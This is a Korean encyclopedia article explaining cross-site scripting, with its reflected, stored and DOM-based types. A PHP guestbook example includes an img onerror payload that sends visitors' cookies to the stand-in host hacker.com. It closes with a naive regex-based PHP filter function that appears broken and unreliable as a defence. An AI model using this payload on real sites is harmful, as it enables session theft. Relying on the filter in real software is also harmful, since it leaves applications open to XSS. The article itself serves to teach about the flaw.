사이트 간 스크립팅
| 시리즈 일부 |
| 정보 보안 |
|---|
| 관련 보안 분류 |
| 위협 |
| 방어 |
사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: cross-site scripting, XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 공격자(attacker)가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 이름이 CSS가 아닌 이유는 웹 기술인 CSS와 헷갈릴 수 있어서다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다.[1]
공격 유형
크로스 사이트 스크립팅(XSS)의 공격 유형은 표준화로 정해져 있지 않지만, 전문가들은 크로스 사이트 스크립팅의 유형을 구분한다. 비 지속적인 공격(Non-persistent XSS) 과 지속적인 공격(persistent XSS). 그리고 소스코드 추가로 발생되는 DOM 기반 XSS 등 유형으로 구분한다.
비 지속적 (Non-persistent) 기법
비 지속적 (Non-persistent) 크로스 사이트 스크립팅 취약점은 반사 (Reflected) XSS라고도 불리며, 가장 일반적인 유형이다. 웹 클라이언트가 제공하는 HTTP 쿼리 매개 변수 (예 : HTML 양식 제출)에서 적절하지 않고, 구문 분석 및 해당 사용자에 대한 결과의 페이지를 표시하는 공격 기법이다.
검증 되지 않은 사용자가 URL 파라미터나 HTTP 요청 헤더 정보를 수정하여 공격할 수 있다. 잠재적인 취약점이 존재하는 대상은 검색 엔진이다. : 검색 엔진의 검색창에서 하나의 문자열을 검색하는 경우, 검색 문자열은 일반적으로 결과 페이지에 그대로 다시 표시된다. 삽입 된 문자열을 다시 표시하면서 문자열이 가지고 있는 스크립트가 동작된다면 취약점이 존재하는 것이다.
지속적 (persistent) 기법
지속적 (persistent) 크로스 사이트 스크립팅 취약점은 더 치명적인 기법이다. : 공격자가 제공 한 데이터가 서버에 저장 된 다음 지속적으로 서비스를 제공하는 "정상"페이지에서 다른 사용자에게 노출된다. 해당 취약점이 대표적으로 발생하는 위치는 사용자가 읽을 수있고, HTML 형식의 메시지를 게시 할 수 있는 온라인 게시판이 해당된다.
예를 들면, 회원들이 흥미롭게 볼 수 있는 검색이 가능한 웹 사이트가 존재한다고 가정하자. 개인 정보 보호를 위해, 이 사이트는 모든 사람들의 실제 이름과 이메일은 숨기고, 해당 사용자만 알 수 있다. 해당 서버에 회원이 로그인 하여 사이트에 접근할 때가 회원의 실제 이름과 이메일이 브라우저에 존재하는 유일한 시간이다. 공격자는 해당 사이트에 가입하고, 사이트에서 볼 수 있는 사람들의 실제 이름을 알아내고 싶어 한다. 우선 공격자는 공격자의 프로필을 방문한 다른 사람의 브라우저에서 실행되도록 설계된 스크립트를 적용하여 원하는 정보를 수집하고 자신의 서버에 원하는 정보가 저장될 수 있게 한다. 만약 질문이 "당신이 기억하는 가장 좋은 날을 입력하시오!"에 대한 물음란에 공격자는 짧은 대답 (정상처리되는)내용과 다른 사용자의 이름과 이메일을 훔치는 스크립트를 입력한다. 다른 사용자가 공격자가 작성한 내용을 읽게 되면 접근한 사용자의 이름과 이메일 정보가 공격자에게 전송된다. 스크립트는 <script> 요소 내에 동봉 된 경우, 화면에 표시되지 않기 때문에 다른 사용자들의 이름과 이메일이 공격자에게 전송되어도 당사자는 해당 공격 행위를 알지 못한다.
공격자의 악의적인 스크립트가 피해자를 일일이 제 3 자 웹 사이트로 유인 할 필요없이, 자동으로 렌더링되기 때문에 지속적인 XSS 취약점은 다른 유형보다 더 위험하다.
예문
다음과 같이, 사용자가 입력한 내용을 출력하는 방명록 프로그램이 있다고 하자.
<p><?php echo htmlspecialchars($name); ?>님의 말: </p>
<?php echo $content; ?>
여기서 $name이 홍길동이고 $content가 안녕하세요라면 다음과 같이 정상적으로 출력될 것이다.
<p>홍길동님의 말: </p>
<p>안녕하세요</p>
하지만 만약 $name이 "Hacker"이고 $content가 다음과 같다고 하자.
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />
그러면 결과 코드는 다음과 같이 될 것이다.
<p>Hacker님의 말: </p>
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />
결과적으로 방명록을 보는 사람의 쿠키가 해커에게 전송이 될 것이다.
참고
간단한 PHP용 HTML 필터링 함수
function html_filter($content)
{
// Strip bad elements.
$content = preg_replace('/(<)(|\/)(\!|\?|html|head|title|meta|body|style|link|base|script'.
'|frameset|frame|noframes|iframe|applet|embed|object|param|noscript|noembed|map|area|basefont|xmp|plaintext|comment)/i',
'<$2$3', $content);
// Strip script handlers.
$content = preg_replace_callback("/([^a-z])(o)(n)/i",
create_function('$matches', 'if($matches[2]=="o") $matches[2] = "o";
else $matches[2] = "O"; return $matches[1].$matches[2].$matches[3];'), $content);
return $content;
}
같이 보기
각주
- ↑ “IT 용어사전 e-Words: XSS”. 2008년 5월 26일에 원본 문서에서 보존된 문서. 2010년 2월 21일에 확인함.
외부 링크
| 파일:Circle-icons-locked.svg | 이 글은 보안에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. |
- 잘못된 파일 링크가 포함된 문서
- 영어 표기를 포함한 문서
- 위키데이터 속성 P18을 사용하는 문서
- 위키데이터 속성 P41을 사용하는 문서
- 위키데이터 속성 P94를 사용하는 문서
- 위키데이터 속성 P117을 사용하는 문서
- 위키데이터 속성 P154를 사용하는 문서
- 위키데이터 속성 P213을 사용하는 문서
- 위키데이터 속성 P227을 사용하는 문서
- 위키데이터 속성 P242를 사용하는 문서
- 위키데이터 속성 P244를 사용하는 문서
- 위키데이터 속성 P245를 사용하는 문서
- 위키데이터 속성 P268을 사용하는 문서
- 위키데이터 속성 P269를 사용하는 문서
- 위키데이터 속성 P271을 사용하는 문서
- 위키데이터 속성 P347을 사용하는 문서
- 위키데이터 속성 P349를 사용하는 문서
- 위키데이터 속성 P350을 사용하는 문서
- 위키데이터 속성 P373을 사용하는 문서
- 위키데이터 속성 P380을 사용하는 문서
- 위키데이터 속성 P396을 사용하는 문서
- 위키데이터 속성 P409를 사용하는 문서
- 위키데이터 속성 P428을 사용하는 문서
- 위키데이터 속성 P434를 사용하는 문서
- 위키데이터 속성 P435를 사용하는 문서
- 위키데이터 속성 P436을 사용하는 문서
- 위키데이터 속성 P454를 사용하는 문서
- 위키데이터 속성 P496을 사용하는 문서
- 위키데이터 속성 P549를 사용하는 문서
- 위키데이터 속성 P650을 사용하는 문서
- 위키데이터 속성 P651을 사용하는 문서
- 위키데이터 속성 P691을 사용하는 문서
- 위키데이터 속성 P716을 사용하는 문서
- 위키데이터 속성 P781을 사용하는 문서
- 위키데이터 속성 P791을 사용하는 문서
- 위키데이터 속성 P864를 사용하는 문서
- 위키데이터 속성 P865를 사용하는 문서
- 위키데이터 속성 P886을 사용하는 문서
- 위키데이터 속성 P902를 사용하는 문서
- 위키데이터 속성 P906을 사용하는 문서
- 위키데이터 속성 P947을 사용하는 문서
- 위키데이터 속성 P950을 사용하는 문서
- 위키데이터 속성 P966을 사용하는 문서
- 위키데이터 속성 P982를 사용하는 문서
- 위키데이터 속성 P1003을 사용하는 문서
- 위키데이터 속성 P1004를 사용하는 문서
- 위키데이터 속성 P1005를 사용하는 문서
- 위키데이터 속성 P1006을 사용하는 문서
- 위키데이터 속성 P1015를 사용하는 문서
- 위키데이터 속성 P1045를 사용하는 문서
- 위키데이터 속성 P1048을 사용하는 문서
- 위키데이터 속성 P1053을 사용하는 문서
- 위키데이터 속성 P1146을 사용하는 문서
- 위키데이터 속성 P1153을 사용하는 문서
- 위키데이터 속성 P1157을 사용하는 문서
- 위키데이터 속성 P1186을 사용하는 문서
- 위키데이터 속성 P1225를 사용하는 문서
- 위키데이터 속성 P1248을 사용하는 문서
- 위키데이터 속성 P1273을 사용하는 문서
- 위키데이터 속성 P1315를 사용하는 문서
- 위키데이터 속성 P1323을 사용하는 문서
- 위키데이터 속성 P1330을 사용하는 문서
- 위키데이터 속성 P1362를 사용하는 문서
- 위키데이터 속성 P1368을 사용하는 문서
- 위키데이터 속성 P1375를 사용하는 문서
- 위키데이터 속성 P1407을 사용하는 문서
- 위키데이터 속성 P1556을 사용하는 문서
- 위키데이터 속성 P1584를 사용하는 문서
- 위키데이터 속성 P1695를 사용하는 문서
- 위키데이터 속성 P1707을 사용하는 문서
- 위키데이터 속성 P1736을 사용하는 문서
- 위키데이터 속성 P1886을 사용하는 문서
- 위키데이터 속성 P1890을 사용하는 문서
- 위키데이터 속성 P1907을 사용하는 문서
- 위키데이터 속성 P1908을 사용하는 문서
- 위키데이터 속성 P1960을 사용하는 문서
- 위키데이터 속성 P1986을 사용하는 문서
- 위키데이터 속성 P2041을 사용하는 문서
- 위키데이터 속성 P2163을 사용하는 문서
- 위키데이터 속성 P2174를 사용하는 문서
- 위키데이터 속성 P2268을 사용하는 문서
- 위키데이터 속성 P2349를 사용하는 문서
- 위키데이터 속성 P2418을 사용하는 문서
- 위키데이터 속성 P2456을 사용하는 문서
- 위키데이터 속성 P2484를 사용하는 문서
- 위키데이터 속성 P2558을 사용하는 문서
- 위키데이터 속성 P2750을 사용하는 문서
- 위키데이터 속성 P2980을 사용하는 문서
- 위키데이터 속성 P3223을 사용하는 문서
- 위키데이터 속성 P3233을 사용하는 문서
- 위키데이터 속성 P3348을 사용하는 문서
- 위키데이터 속성 P3372를 사용하는 문서
- 위키데이터 속성 P3407을 사용하는 문서
- 위키데이터 속성 P3430을 사용하는 문서
- 위키데이터 속성 P3544를 사용하는 문서
- 위키데이터 속성 P3562를 사용하는 문서
- 위키데이터 속성 P3563을 사용하는 문서
- 위키데이터 속성 P3601을 사용하는 문서
- 위키데이터 속성 P3723을 사용하는 문서
- 위키데이터 속성 P3788을 사용하는 문서
- 위키데이터 속성 P3829를 사용하는 문서
- 위키데이터 속성 P3863을 사용하는 문서
- 위키데이터 속성 P3920을 사용하는 문서
- 위키데이터 속성 P3993을 사용하는 문서
- 위키데이터 속성 P4038을 사용하는 문서
- 위키데이터 속성 P4055를 사용하는 문서
- 위키데이터 속성 P4114를 사용하는 문서
- 위키데이터 속성 P4143을 사용하는 문서
- 위키데이터 속성 P4186을 사용하는 문서
- 위키데이터 속성 P4423을 사용하는 문서
- 위키데이터 속성 P4457을 사용하는 문서
- 위키데이터 속성 P4534를 사용하는 문서
- 위키데이터 속성 P4535를 사용하는 문서
- 위키데이터 속성 P4581을 사용하는 문서
- 위키데이터 속성 P4613을 사용하는 문서
- 위키데이터 속성 P4955를 사용하는 문서
- 위키데이터 속성 P5034를 사용하는 문서
- 위키데이터 속성 P5226을 사용하는 문서
- 위키데이터 속성 P5288을 사용하는 문서
- 위키데이터 속성 P5302를 사용하는 문서
- 위키데이터 속성 P5321을 사용하는 문서
- 위키데이터 속성 P5368을 사용하는 문서
- 위키데이터 속성 P5504를 사용하는 문서
- 위키데이터 속성 P5587을 사용하는 문서
- 위키데이터 속성 P5736을 사용하는 문서
- 위키데이터 속성 P5818을 사용하는 문서
- 위키데이터 속성 P6213을 사용하는 문서
- 위키데이터 속성 P6734를 사용하는 문서
- 위키데이터 속성 P6792를 사용하는 문서
- 위키데이터 속성 P6804를 사용하는 문서
- 위키데이터 속성 P6829를 사용하는 문서
- 위키데이터 속성 P7293을 사용하는 문서
- 위키데이터 속성 P7303을 사용하는 문서
- 위키데이터 속성 P7314를 사용하는 문서
- 위키데이터 속성 P7902를 사용하는 문서
- 위키데이터 속성 P8034를 사용하는 문서
- 위키데이터 속성 P8189를 사용하는 문서
- 위키데이터 속성 P8381을 사용하는 문서
- 위키데이터 속성 P8671을 사용하는 문서
- 위키데이터 속성 P8980을 사용하는 문서
- 위키데이터 속성 P9070을 사용하는 문서
- 위키데이터 속성 P9692를 사용하는 문서
- 위키데이터 속성 P9725를 사용하는 문서
- 위키데이터 속성 P9984를 사용하는 문서
- 위키데이터 속성 P10020을 사용하는 문서
- 위키데이터 속성 P10299를 사용하는 문서
- 위키데이터 속성 P10608을 사용하는 문서
- 위키데이터 속성 P10832를 사용하는 문서
- 위키데이터 속성 P11249를 사용하는 문서
- 위키데이터 속성 P11646을 사용하는 문서
- 위키데이터 속성 P11729를 사용하는 문서
- 위키데이터 속성 P12204를 사용하는 문서
- 위키데이터 속성 P12362를 사용하는 문서
- 위키데이터 속성 P12754를 사용하는 문서
- 위키데이터 속성 P13049를 사용하는 문서
- 보안에 관한 토막글
- 큰 토막글 문서
- 모든 토막글 문서
- 취약점 공격
- 웹 취약점 공격